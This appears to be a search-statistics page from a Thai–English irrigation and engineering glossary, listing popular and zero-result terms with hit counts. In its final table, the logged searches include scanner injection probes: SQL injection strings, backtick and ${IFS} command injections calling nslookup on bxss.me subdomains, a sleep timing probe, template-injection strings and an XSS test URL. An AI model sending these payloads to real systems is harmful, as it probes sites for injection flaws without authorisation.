| คำศัพท์ | จำนวนครั้งที่พบ | การผันน้ำ | 3561
| การระบายน้ำ | 3349
| การเกิดโพรงท่อ | 3292
| การหดจากการแข็งตัว | 2945
| การสูญเสียที่ทางเข้า | 1762
| การไหลแบบราบเรียบ | 1574
| การระบายน้ำผิวดิน | 1308
| การตกตะกอน | 1188
| กรวดกลาง | 1016
| กรวด | 995
| กราฟจัดการน้ำ | 984
| การถมหิน | 978
| การนำชลศาสตร์ | 933
| กราฟจัดการน้ำเส้นล่าง | 630
| กราฟจัดการน้ำเส้นบน | 623
| พายุฝนออกแบบ | 425
| พายุหมุน, ไซโคลน | 425
| กราฟน้ำท่า | 414
| พื้นอาคารชลประทานด้านเหนือน้ำหรือท้ายน้ำ | 411
| การกร่อน | 398
|
|---|
| คำศัพท์ | จำนวนครั้งที่พบ | พื้นที่ปิดล้อม | 0
| การกระจายการผลิตพืช | 0
| หนองน้ำ | 0
| ชลประทานขนาดเล็ก | 0
| บรรทัดเล็ง | 0
| ศูนย์กลางแผ่นดินไหว | 0
| ขวดเก็บตะกอนแขวนลอย | 0
| การรั่วไหล | 0
| ดินกรดหรือดินเปรี้ยว | 0
| ต้นน้ำ | 0
| ผลบันทึกทางไฟฟ้า | 0
| เฮดพลังงาน | 0
| กล้องระดับดัมปี | 0
| ภูมิประเทศศึกษา | 0
| รอ | 0
| ถนนบำรุงรักษาท้ายเขื่อน | 0
| พลังงานศักย์ | 0
| ประสิทธิภาพในการให้น้ำ | 0
| การสำรวจคลื่นไหวสะเทือน | 0
| คลังเก็บพัสดุ | 0
|
|---|
| คำศัพท์ | จำนวนครั้งที่พบ | 100-year flood (one-hundred year flood) | 855
| 500-year flood | 678
| 3D Graphics | 667
| United Nations Framework Convention on Climate Change (UNFCCC) | 613
| Wait state | 418
| Ultrasonic velocity sensor, or Ultrasonic flowmeter | 413
| Upstream control, or Upstream regulation | 408
| URL | 408
| USB Flash drive, Smart drive, Pen Drive | 408
| Gate chamber | 403
| GSM | 389
| Integrated Assessment | 386
| Guard sill, or Back sill | 361
| Abatement | 237
| Adsorption | 224
| Radar | 223
| Image File | 216
| Kaolin, China clay, or Porcelain clay | 213
| Ultra high-early strength cement | 208
| Ultraviolet (UV)-B Radiation | 208
|
|---|
| คำศัพท์ | จำนวนครั้งที่พบ | UNIX | 0
| en-word-2 | 0
| Caisson, or Pneumatic caisson | 0
| Label | 0
| Tail tank | 0
| Relative humidity | 0
| Upstream control, or Upstream regulation | 0
| Concrete dam | 0
| Fallow cultivation / period | 0
| Main electric cable | 0
| Valve | 0
| Percolation | 0
| Guard sill, or Back sill | 0
| Quaternary canal | 0
| Habitat | 0
| Offtake canal | 0
| Dead furrow | 0
| Nitrocellulose paint, or Cellulose paint | 0
| Absolute humidity | 0
| Back of levee, Air side of levee, Land side of levee, Outflow side of levee, Inner side of levee, Polder side of levee, or Down stream side of levee | 0
|
|---|
| คำศัพท์ | จำนวนครั้งที่พบ | กรวดใหญ่ | 200
| กลไกการปิด | 196
| กังหันลม | 196
| เขตแอนโทรปิก | 196
| เชื้อเพลิงชีวภาพ | 196
| ดินถล่ม | 196
| น้ำผิวดิน | 196
| ประตูน้ำ | 196
| ปริมาณการไหลจำเพาะ | 196
| ฟลูออเรสซีน | 196
| มาตรวัด | 196
| ระดับผิวน้ำใต้ดิน | 196
| ระดับสารปนเปื้อนสูงสุด | 196
| ระบบบำบัดน้ำเสีย | 196
| ระบบระบายน้ำผิวดิน | 196
| โลหะบัดกรี | 196
| สถานีสูบน้ำ | 196
| หน่วยกระตุ้นการทำงาน | 196
| หินอัคนี | 196
| อนุกรมเวลา | 196
|
|---|
| คำศัพท์ | จำนวนครั้งที่พบ | โลหะบัดกรี | 0
| มาตรวัด | 0
| คลองทราย | 0
| ดินถล่ม | 0
| สถานีสูบน้ำ | 0
| กรวดใหญ่ | 0
| ระดับผิวน้ำใต้ดิน | 0
| น้ำผิวดิน | 0
| ทรายละเอียด | 0
| หน่วยกระตุ้นการทำงาน | 0
| กลไกการปิด | 0
| ระดับสารปนเปื้อนสูงสุด | 0
| ประตูน้ำ | 0
| หินอัคนี | 0
| กังหันลม | 0
| ระบบบำบัดน้ำเสีย | 0
| ปริมาณการไหลจำเพาะ | 0
| อนุกรมเวลา | 0
| เขตแอนโทรปิก | 0
| ระบบระบายน้ำผิวดิน | 0
|
|---|
| คำศัพท์ | จำนวนครั้งที่พบ | Annual flow | 392
| Chamfer | 392
| safe | 199
| Aggregate | 196
| Automatic | 196
| Casing | 196
| Check drop | 196
| Coastline | 196
| Geology | 196
| Hydraulic turbine | 196
| Impulsepump | 196
| Mole drain | 196
| movement | 196
| Mudslide | 196
| Mudstone | 196
| Normal fault | 196
| Peakin flow | 196
| Retarder | 196
| Riserpipe | 196
| Rule curve | 196
|
|---|
| คำศัพท์ | จำนวนครั้งที่พบ | Normal fault | 0
| 1}dfb{#98991*97996}xca | 0
| bFmBQ36v: CUpgiZeC | 0
| -1" OR 2+588-588-1=0+0+0+1 -- | 0
| e"&&sleep(27*1000)*qztumy&&" | 0
| -1" OR 2+313-313-1=0+0+0+1 -- | 0
| "}dfb{@98991*97996}xca | 0
| response.write(9403818*9102950) | 0
| LuRnSa8v | 0
| 0
| `(nslookup -q=cname hitbrnitcdyfy31cbe.bxss.me | Impulsepump | 0
| 1}}dfb{{98991*97996}}xca | 0
| (nslookup${IFS}-q${IFS}cname${IFS}hitucjfridses107a9.bxss.me | `(nslookup -q=cname hitzpwujoxbeg6a183.bxss.me | 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg | 0
| `(nslookup -q=cname hitoobznrsfxf6efb1.bxss.me | "}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA | 0
| HttP://bxss.me/t/xss.html?%00 | 0
| e&n925496=v952946 | 0
|
|---|